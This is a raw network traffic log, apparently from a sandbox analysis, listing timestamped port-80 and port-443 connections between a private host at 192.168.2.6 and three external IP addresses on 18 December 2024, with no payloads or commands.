Dec 18, 2024 11:47:49.518141985 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.518188953 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.519273043 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.519288063 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.519332886 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.520525932 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.520566940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.520596027 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.520613909 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.521616936 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.521632910 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.521667957 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.521678925 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.523111105 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.523128986 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.523204088 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.523204088 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.524132967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.524151087 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.524210930 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.524210930 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.525265932 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.525285006 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.525321007 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.525332928 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.526386023 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.526432991 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.526633024 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.526671886 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.527749062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.527764082 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.527792931 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.527805090 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.528642893 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.528659105 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.528685093 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.528697014 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.529827118 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.529844999 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.529870987 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.529886961 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.531029940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.531049013 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.531074047 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.531100035 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.532289982 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.532305956 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.532367945 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.532367945 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.662524939 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.662539005 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.662595987 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.662621021 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.663064957 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.663281918 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.663325071 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.664220095 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.664352894 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.664393902 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.665436029 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.665462017 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.665509939 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.666599035 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.666652918 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.666657925 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.666703939 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.667843103 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.667855024 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.667885065 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.667897940 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.668953896 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.668967009 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.669003010 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.669012070 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.670164108 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.670177937 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.670229912 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.670239925 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.671437979 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.671452045 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.671490908 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.671500921 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.672503948 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.672552109 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.673161030 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.673702955 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.673717976 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.673744917 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.673772097 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.675004959 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.675019026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.675061941 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.676311016 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.676323891 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.676369905 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.677093983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.677135944 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.677364111 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.678272009 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.678316116 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.678366899 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.678428888 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.679529905 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.679541111 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.679575920 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.680571079 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.680613995 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.680618048 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.680644989 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.681801081 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.681813002 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.681853056 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.681864977 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.682960033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.682971954 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.683013916 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.684215069 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.684382915 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.684767008 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.684814930 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.685281038 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.685293913 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.685337067 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.686510086 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.686523914 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.686570883 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.687621117 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.687666893 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.687844992 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.688266039 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.689125061 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.689138889 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.689181089 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.690021992 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.690047979 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.690073013 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.690100908 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.691731930 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.691745043 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.691787004 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.691801071 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.692282915 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.692853928 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.692908049 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.693980932 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.693993092 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.694044113 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.694072962 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.695331097 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.695344925 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.695382118 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.696403027 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.696600914 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.697029114 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.697041035 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.697073936 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.697211027 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.699111938 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.699170113 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.699174881 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.699624062 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.699733973 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.699745893 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.699783087 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.700715065 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.700757027 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.700905085 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.701337099 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.701649904 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.701690912 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.701844931 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.701883078 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.702898026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.702909946 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:49.702939034 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:49.702955008 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:52.104978085 CET	49873	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:52.105359077 CET	49906	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:52.224939108 CET	80	49873	185.215.113.43	192.168.2.6
Dec 18, 2024 11:47:52.225008965 CET	49873	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:52.225195885 CET	80	49906	185.215.113.43	192.168.2.6
Dec 18, 2024 11:47:52.225265980 CET	49906	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:52.225466967 CET	49906	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:52.346198082 CET	80	49906	185.215.113.43	192.168.2.6
Dec 18, 2024 11:47:52.771852970 CET	49908	443	192.168.2.6	98.85.100.80
Dec 18, 2024 11:47:52.771991014 CET	443	49908	98.85.100.80	192.168.2.6
Dec 18, 2024 11:47:52.772115946 CET	49908	443	192.168.2.6	98.85.100.80
Dec 18, 2024 11:47:52.804671049 CET	49908	443	192.168.2.6	98.85.100.80
Dec 18, 2024 11:47:52.804693937 CET	443	49908	98.85.100.80	192.168.2.6
Dec 18, 2024 11:47:53.569057941 CET	80	49906	185.215.113.43	192.168.2.6
Dec 18, 2024 11:47:53.569166899 CET	49906	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:53.571858883 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:53.572391987 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:53.691773891 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:53.691883087 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:53.691946030 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:53.692071915 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:53.692250013 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:53.811655998 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:54.532862902 CET	443	49908	98.85.100.80	192.168.2.6
Dec 18, 2024 11:47:54.533457041 CET	49908	443	192.168.2.6	98.85.100.80
Dec 18, 2024 11:47:54.533483982 CET	443	49908	98.85.100.80	192.168.2.6
Dec 18, 2024 11:47:54.534627914 CET	443	49908	98.85.100.80	192.168.2.6
Dec 18, 2024 11:47:54.534702063 CET	49908	443	192.168.2.6	98.85.100.80
Dec 18, 2024 11:47:54.536262035 CET	49908	443	192.168.2.6	98.85.100.80
Dec 18, 2024 11:47:54.536372900 CET	443	49908	98.85.100.80	192.168.2.6
Dec 18, 2024 11:47:54.552387953 CET	49908	443	192.168.2.6	98.85.100.80
Dec 18, 2024 11:47:54.552426100 CET	443	49908	98.85.100.80	192.168.2.6
Dec 18, 2024 11:47:54.601881027 CET	49908	443	192.168.2.6	98.85.100.80
Dec 18, 2024 11:47:55.009430885 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.009485960 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.009497881 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.009582996 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.009594917 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.009605885 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.009610891 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.009618998 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.009646893 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.009665012 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.009717941 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.009730101 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.009742975 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.009764910 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.009797096 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.129379988 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.129422903 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.129517078 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.133491993 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.133565903 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.200720072 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.200762987 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.200783968 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.200805902 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.204550982 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.204588890 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.204622984 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.204646111 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.212928057 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.214432001 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.215919018 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.215997934 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.216007948 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.216053963 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.224415064 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.224471092 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.224528074 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.224575043 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.232660055 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.232732058 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.232742071 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.232981920 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.241096020 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.241189957 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.241269112 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.249797106 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.249896049 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.249963999 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.257884979 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.257932901 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.257978916 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.258014917 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.266251087 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.266311884 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.266385078 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.266433954 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.274595022 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.274682999 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.274748087 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.282999039 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.283068895 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.283070087 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.283118010 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.320413113 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.320524931 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.391721964 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.391781092 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.391827106 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.391855955 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.394090891 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.394107103 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.394155025 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.398953915 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.399017096 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.399058104 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.399110079 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.513854980 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.513876915 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.513947010 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.518563032 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.518583059 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.518651962 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.518779993 CET	443	49908	98.85.100.80	192.168.2.6
Dec 18, 2024 11:47:55.518872976 CET	443	49908	98.85.100.80	192.168.2.6
Dec 18, 2024 11:47:55.521298885 CET	49908	443	192.168.2.6	98.85.100.80
Dec 18, 2024 11:47:55.562815905 CET	49908	443	192.168.2.6	98.85.100.80
Dec 18, 2024 11:47:55.562860012 CET	443	49908	98.85.100.80	192.168.2.6
Dec 18, 2024 11:47:55.633497953 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.633518934 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.633574009 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.637969971 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.637985945 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.638041973 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.753132105 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.753150940 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.753163099 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.753174067 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.753191948 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.753225088 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.753236055 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.753247023 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.753257036 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.753262997 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.753262997 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.753268957 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.753281116 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.753293037 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.753304958 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.753321886 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.753321886 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.753345966 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.753382921 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.753382921 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.753524065 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.753542900 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.753552914 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.753565073 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.753576040 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.753587008 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.753597975 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.753606081 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.753606081 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.753608942 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.753619909 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.753632069 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.753643036 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.753654003 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.753662109 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.753662109 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:55.753665924 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:55.753676891 CET	80	49910	31.41.244.11	192.168.2.6
